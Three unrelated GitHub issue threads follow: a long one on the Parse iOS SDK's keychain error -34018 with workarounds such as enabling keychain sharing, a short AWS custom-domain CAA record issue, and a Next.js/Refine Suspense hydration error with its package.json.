let like = Like(photo: photo, user: user)
like.saveInBackgroundWithBlock({ (success:Bool, error:NSError?) -> Void in
if error == nil {
let likeCreatedAtRelation = user.relationForKey("like_createdat")
likeCreatedAtRelation.addObject(like)
user.saveInBackgroundWithBlock({ (success:Bool, error:NSError?) -> Void in
self.photo.saveInBackgroundWithBlock({ (success:Bool, error:NSError?) -> Void in
self.transitionInProgress = false
print("like obejct saved for (user.firstName)")
})
})
} else {
print("error.userInfo: (error!.userInfo)")
}
})
Is the PFRelation broken???: bad news for me since my app relies heavily on this
I have a feeling that PFKeychainStore isn't working as it should, so when I try to save a relation to a user it can't find the user I am talking about.
I really want to migrate, but parse 1.12 destroys my Tipped's user experience. What should I do? Check it out on the app store running on parse 1.6.2, everything is smooth, but with the new parse 1.12 the collection views are super jittery and weird saving a querying issues
needs your skillz @nlutsenko come save all the rookie programmes who got dumped by fb.

**Keychain error -34018 (errSecMissingEntitlement) is a known bug in the iOS Keychain.
The problem can be easily reproduced but Apple hasn't had success fixing it. Only solution would be to bypass it at this point.**
Apple Forums Reference with repro steps: https://forums.developer.apple.com/thread/4743
This is a major issue for us as our app remains live in the background and is supposed to keep the users logged in at all times.
In our Parse app the steps to reproduce and track it on the console are the following:

Log in into the app while debugging with Xcode on a device
Send the app into the background
Open the Xcode Debug Navigator and select the CPU & Memory view
On the device open memory intensive apps (e.g. Maps with 3d flyover) and use up as much RAM as possible (ideally less than 100mb free)
Open the app and the error should appear in the console while the app calls +[PFUser CurrentUser]

Apparently what triggers the issue is an access to the keychain while the keychain isn't ready (app startup or resume). A partial solution could be to delay this access by some milliseconds until the security framework has managed to properly initialise.
When this bug is triggered the only solution is to kill the app or it will be encountered at every attempt to access the keychain (both read/write).

I had the same error [Error]: PFKeychainStore failed to get object for key 'currentUser', with error: -34018 when calling Parse.setApplicationId(ApplicationId, clientKey: ClientKey) immediately before calling PFUser.currentUser(). Changing the app logic to have more time between these two instructions solved it and the error message disappeared.

I'm also getting this same error anytime I try to save/edit a property on [PFUser currentUser]. I get the error on both the set & get. Sometimes it will save the property, sometimes it wont and there is no error happening from the saveInBackgroundWithBlock: so I can't catch the issue.
[Error]: PFKeychainStore failed to get object for key 'currentUser', with error: -34018
[Error]: PFKeychainStore failed to set object for key 'currentUser', with error: -34018

My code was calling [PFUser currentUser] fairly liberally and I have been seeing these errors.  After seeing this https://forums.developer.apple.com/thread/4743#14441, I wondered about whether it was a frequency of accessing the keychain that could cause the problem.
I haven't seen this error since storing a reference to the current PFUser rather than calling [PFUser currentUser] each time.
There was a theory that Apple are maybe preventing brute force attempts on the keychain.

I think I have finally fixed this issue. I'm pretty sure this issue is being caused due to special circumstances when constantly re-running the app, creating/deleting new test users, etc.
Before I describe my fix, here are all the errors I have been receiving related to this issue:

Parse Code=101 "object not found for update" UserInfo={code=101, temporary=0, error=object not found for update, NSLocalizedDescription=object not found for update

"error" : "Parse::UserCannotBeAlteredWithoutSessionError"	code: 206

[Error]: Parse::UserCannotBeAlteredWithoutSessionError (Code: 206, Version: 1.11.0)

Error Domain=com.facebook.sdk.login Code=308

Also before I describe my fix, here's a quick description of my app's user setup. Your mileage may vary depending on what you are doing:

PFUser.enableAutomaticUser() is called in the app delegate's didFinishLaunchingWithOptions to enable auto anonymous user creation
There are 2 buttons on the user's profile page. One is to connect with Twitter, the other with Facebook. If the user presses these, the Facebook/Twitter connect dialogues shows and the user can accept or deny.
When the user accepts these, the User data in Parse should have data for both Facebook and Twitter.
User has successfully "logged in" with Twitter and Facebook and granted my app access.

Here is how I fixed this problem. I basically figured out how to do a full reset of all user data when you want to test this stuff. I had been deleting session and user data from the database, but I think the final key was to clear the keychain data using the logout method. Big thanks to @nlutsenko for recommending this.
So, to fix this problem:

Deleted testing Session in the Parse database
Deleted testing User in the Parse database
Commented out PFUser.enableAutomaticUser() in my app delegate's didFinishLaunchingWithOptions so that a new anonymous user would not be created on this run.
In my initial view controller's viewDidLoad, I call PFUser.logOutInBackgroundWithBlock and wait for completion.

After completing the above states, I comment out the call to PFUser.logOutInBackgroundWithBlock and uncomment the call to PFUser.enableAutomaticUser() in my app delegate's didFinishLaunchingWithOptions
I then run the application again, and I can go through my whole anonymous user login/signup process that I listed above, and it works perfectly. No errors at all.

NEWS FROM APPLE https://forums.developer.apple.com/thread/4743
OK, here’s the latest.  This is a complex problem with multiple possible causes:
Some instances of the problem are caused by incorrect app signing.  You can easily distinguish this case because the problem is 100% reproducible.
Some instances of the problem are caused by a bug in how iOS supports app development (r. 23,991,853).  Debugging this was complicated by the fact that another bug in the OS (r. 23,770,418) masked its effect, meaning the problem only cropped up when the device was under memory pressure.
We believe these problems were resolved in iOS 9.3.
We suspect that there may be yet more causes of this problem.
So, if you see this problem on a user device (one that hasn’t been talked to by Xcode) that’s running iOS 9.3 or later, please do file a bug report about it.  Try to include the device system log in your bug report (I realise that can be tricky when dealing with customer devices; one option is to ask the customer to install Apple Configurator, which lets them view the system log).  And if you do file a bug, please post your bug number, just for the record.
On behalf of Apple I’d like to thank everyone for their efforts in helping to track down this rather horrid issue.
Share and Enjoy
—
Quinn “The Eskimo!”
Apple Developer Relations, Developer Technical Support, Core OS/Hardware
let myEmail = "eskimo" + "1" +<EMAIL_ADDRESS>

Woo! That's great news! Should we close this then?

Yey!
Btw, I dont have that error anymore on iOs 9.3
Programming for food,
Nick Halavins
AntiChat.me
2016-04-13 20:36 GMT+03:00 Nikita Lutsenko<EMAIL_ADDRESS>
Woo! That's great news! Should we close this then?
—
You are receiving this because you commented.
Reply to this email directly or view it on GitHub
https://github.com/ParsePlatform/Parse-SDK-iOS-OSX/issues/437#issuecomment-209558085

Perfect!
Then, since we have a final confirmation from multiple source about the fact that this is fixed in iOS 9.3 and was indeed Apple bug - I am going to close this issue.

Fingers crossed. We are still testing but it seems to be significantly improved at least.

I can confirm that in certain situations this bug is still happening. Although less frequently than before.

Parse push is not working when i will change the parse migration.
it will be show in my parse server  installation table.the data will show but the push is not working. please let me know how to debug that issue.

This error is still happening for me as well. It's not a big issue when trying to query/save data from the Parse Server, but when I try to run cloud code the user property within the cloud function is reported as nil. Has anyone encountered this?

@nlutsenko I just realized that is issue is marked as close (same as this one which seems to be very much alike: https://github.com/ParsePlatform/Parse-SDK-iOS-OSX/issues/609) -- should we reopen these to try to find a solution to the problem as it seems to still be happening for a number of us?

I'm running iOS 10.0 and I'm still seeing this issue.  More information on steps to reproduce can be found at https://github.com/ParsePlatform/parse-server/issues/2104.
Client Environment:
Xcode 8 beta 5
Swift 3.0
Parse iOS SDK 1.14.2
Server Environment: (cloned current parse-server-example and added Cloud Code function below)
parse-server 2.2.18

@mooshee
Hi, I was getting this error earlier "PFKeychainStore failed to set object for key 'currentUser'".
After browsing on stack overflow, I found out that "Apple changed the way of working with keychain in iOS 10.", henceforth you have to turn on "keychain sharing"
http://stackoverflow.com/a/38799196/2472466
I hope that helps ...

Thank you @takomborerwa.  This fixed the issue with iOS 10 and Parse Server.

@mooshee Thanks man, you saved my day.

I have a problem with PFUser.current() when i try to save/upload this user.
Xcode return PFKeychainStore failed to set object for key 'currentUser', with error: -34018
Here is the post: https://github.com/ParsePlatform/Parse-SDK-iOS-OSX/issues/1060
Help please!

Try enabling keychain sharing

Is necessary Apple developer account?

Hi?

That's highly probable.

Puf.
Nobody try this?
I need a solution..

When you enable keychain sharing in Xcode for your app target. Does it work?

Because i do not have apple developer account, Xcode return when i enable keychain sharing:

Is the entitlements file created? Can you confirm that it's still not working? You probably want to create a developper account anyway.

I kill the app and delete all user in DataBase of Parse and when i try to edit a user and change few fields i can do it, but when i try to do it again, the problem return.

Is this ?

Yes, of course i need a developer account but i want to be sure that this development will run and i will not have to change Parse for other solution like Firebase, for example.
I like Parse and i want to continue working with him.

Yes that's the entitlements file, your issue would be resolved by having a full developer account. Starting iOS 10, I believe apple enforced more strongly keychain access from dynamically linked frameworks. Without the proper Keychain Sharing entitlements, it seems that the SDK is not correctly working.

This is the content of the entitlements and the message of Xcode when i enable the keychain sharing:

Yes and that should be solved if you have a proper developer account, and a properly configured Xcode.

So i have to bet that the program will run when i will have an apple developer account?
Nobody happen this now?
It is not very professional betting by a project what don´t run now...
The only solution is apple developer account so?
Flovilmart, to you do not happens?

It's happening to everyone who is building/running Parse on iOS 10.  As Flovilmart outlined, the SDK stores the users' session information in the keychain.  Apple changed the rules for 3rd party data to be read/write to the keychain.  You must have an Apple Developer to enable keychain sharing.
You cannot release an app without an Apple Developer account.  Many features (such as Push Notifications) require an account.  To insinuate Parse, or it's community, is unprofessional for this reason is to also assume Apple is unprofessional.  Perhaps Firebase would suit you better.

Please, you don´t say things that i don´t say.
I am really charmed with Parse. My question is because i am doing a course about Parse and this problem don´t happen and i will want to know why, just this.
Of course i know that i can not release my app without Apple Developer account, only i will want to delay the moment of the payment for economic problems.
I don´t know why you attack me of this way but, you know.
Sorry if someone has been offended, it was not my intention.

My statement still stands: Firebase may suit you better (if you have the option in your coursework).  If you must build your app for iOS 10, then you will need a developer account or deal with an invalid session between every launch.  Perhaps your class has not run into this issue because they are building / running on iOS 9 or prior.
Does that answer you question?

I believe creating an Apple Developer account is FREE, you can now even test the app on the device without paying a dime. Once you're ready to release, then you'll need to pay.

Yes, @KBog is right. You can see the chart at the bottom of the linked page below which shows that with an Apple ID you can create a developer account and deploy apps to a device. And if someone were to add you to their paid team it is possible you could have access to more functionality.
And schools can enroll in the iOS Developer University Program for free which could make several useful features available.
https://developer.apple.com/support/compare-memberships/

Thanks @brennanMKE !
I tried my app in my device and it is so cool!
Regrettably to try the keychain storage i need an individual apple developer account, but for the moment i can try my app whit this.
When i will release my app, i will buy the individual apple developer account to try the keychain storage and test that my app run correctly and i can modify a PFUser.

@jose46moreno You may want to duplicate your build target for your app so you can have a few app identifiers which each have their own keychain so that as you work you can manage them separately. I found that even deleting an app does not delete the associated keychain, so after installing the app again there are still remnants. I don't think that is correct behavior for iOS, but I've seen it happen. That's a bug which is beyond what the Parse SDK can handle.

Updating a cell's nib with the method setImageForUserName like so  [cell.profPic setImageForUserName:PFUser.currentUser.username]; returns a PFKeychainStore failed to set object for key 'currentUser', with error: -34018. Are there any suggestions about this particular method?

@ericgiannini Have you already followed the steps above to enable keychain sharing?  If not, you are likely see this type of error across the entire app every time you try to access a remote object that is protected by the user's session.

Thanks, @mooshee! I will take the steps & update you. ;)

Hi all.
I just started receiving this error:
PFKeychainStore failed to set object for key 'currentUser', with error: -25299
but only in the simulator.  I am on Xcode 10.1, and an older version of the Parse SDK. I upgraded to the current version of the Parse SDK, and no difference. We have upgraded our Parse backend.  Doesn't seem like that should have an effect on the front end though.
I've started following the chain back in this thread, but haven't come across anything yet.  I do have a valid developer account, and am looking at the entitlement issues now.
I'm posting because the error number is different than what seems to run though this thread, so not sure if I have something different here.
If anyone has any info, please let me know, and I'll continue backtracking through this thread.
Thanks!

Ok, my bad.  We have a couple of branches working on an upgrade of Parse for both back and front end.  I was positive I was on the upgraded front end branch when I tested, but I wasn't.  I am good here.

flovilmart, thanks for the pointer!

Thanks!
On Mon, Feb 4, 2019 at 3:29 PM Florent Vilmart<EMAIL_ADDRESS>wrote:

@tekmick https://github.com/tekmick I encountered this thread that may
be of interest: yankodimitrov/SwiftKeychain#13
https://github.com/yankodimitrov/SwiftKeychain/issues/13
Sent with GitHawk http://githawk.com
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/parse-community/Parse-SDK-iOS-OSX/issues/437#issuecomment-460455257,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AclPwvXH_Y3V-PROAKoPiQOGozjNx3bJks5vKMJcgaJpZM4GRwZ6
.


Custom domain CAA issue

Before opening, please confirm:

[X] I have checked the custom domains troubleshooting guide.
[X] I have read the guide for submitting bug reports.
[X] I have done my best to include a minimal, self-contained set of instructions for consistently reproducing the issue.

App Id
d3faelf66gaaao
Region
sa-east-1
Step
Domain activation
Status
Failed
Issue or question
I get an error after setting the SSL in my domain. The error can be found in error message.
But I already added this CAA in DNS:

Error message
Error message: At least one of your domains has a CAA record that does not include Amazon as an approved Certificate Authority. Please add an entry to your CAA DNS record like the following: [0 issue "amazontrust.com"], so that we can provision an SSL certificate for your domain. To learn more, visit https://docs.aws.amazon.com/acm/latest/userguide/troubleshooting-caa.html
Additional information
I even added the other 0 issue amazon says to add (amazonaws, awstrust, amazon)

To fix this, i had to add a 0 issuewild "amazontrust.com" in my CAA


This Suspense boundary received an update before it finished hydrating.

Describe the bug
I started working again on a project I left for 3 days and all of a sudden I am getting the error below
Unhandled Runtime Error
Error: This Suspense boundary received an update before it finished hydrating. This caused the boundary to switch to client rendering. The usual way to fix this is to wrap the original update in startTransition.

Any pointers would be great!
Steps To Reproduce

Expected behavior
Not sure how to repro as it started popping up right after I do npm run dev
Packages
{
"name": "electra",
"version": "0.1.0",
"private": true,
"engines": {
"node": ">=18.0.0"
},
"scripts": {
"dev": "cross-env NODE_OPTIONS=--max_old_space_size=4096 refine dev",
"build": "refine build",
"start": "refine start",
"lint": "eslint '**/*.{js,jsx,ts,tsx}'",
"refine": "refine"
},
"dependencies": {
"@emotion/react": "^11.8.2",
"@emotion/styled": "^11.8.1",
"@mui/icons-material": "^5.8.3",
"@mui/lab": "^5.0.0-alpha.85",
"@mui/material": "^5.8.6",
"@mui/x-charts": "^6.19.4",
"@mui/x-data-grid": "^6.6.0",
"@react-pdf/renderer": "^3.3.8",
"@refinedev/cli": "^2.16.21",
"@refinedev/core": "^4.46.1",
"@refinedev/devtools": "^1.1.29",
"@refinedev/inferencer": "^4.5.16",
"@refinedev/kbar": "^1.3.5",
"@refinedev/mui": "^5.14.1",
"@refinedev/nextjs-router": "^5.5.5",
"@refinedev/react-hook-form": "^4.8.13",
"@refinedev/simple-rest": "^5.0.1",
"@vercel/speed-insights": "^1.0.10",
"d3": "^7.8.5",
"next": "^13.0.6",
"nookies": "^2.5.2",
"react": "^18.0.0",
"react-dom": "^18.0.0",
"react-pdf": "^7.7.0"
},
"devDependencies": {
"@types/d3": "^7.4.3",
"@types/node": "^18.0.0",
"@types/react": "^18.0.0",
"@types/react-dom": "^18.0.0",
"@typescript-eslint/parser": "5.48.0",
"cross-env": "^7.0.3",
"typescript": "^4.7.4"
},
"refine": {
"projectId": "LqCkSN-iTxp2d-OT9ZPY"
}
}
Additional Context
No response

Hey @AlexAndrei98 I guess this issue is arising from NextJS. Closing the issue, feel free to re-open it if you investigate it and see something related to Refine.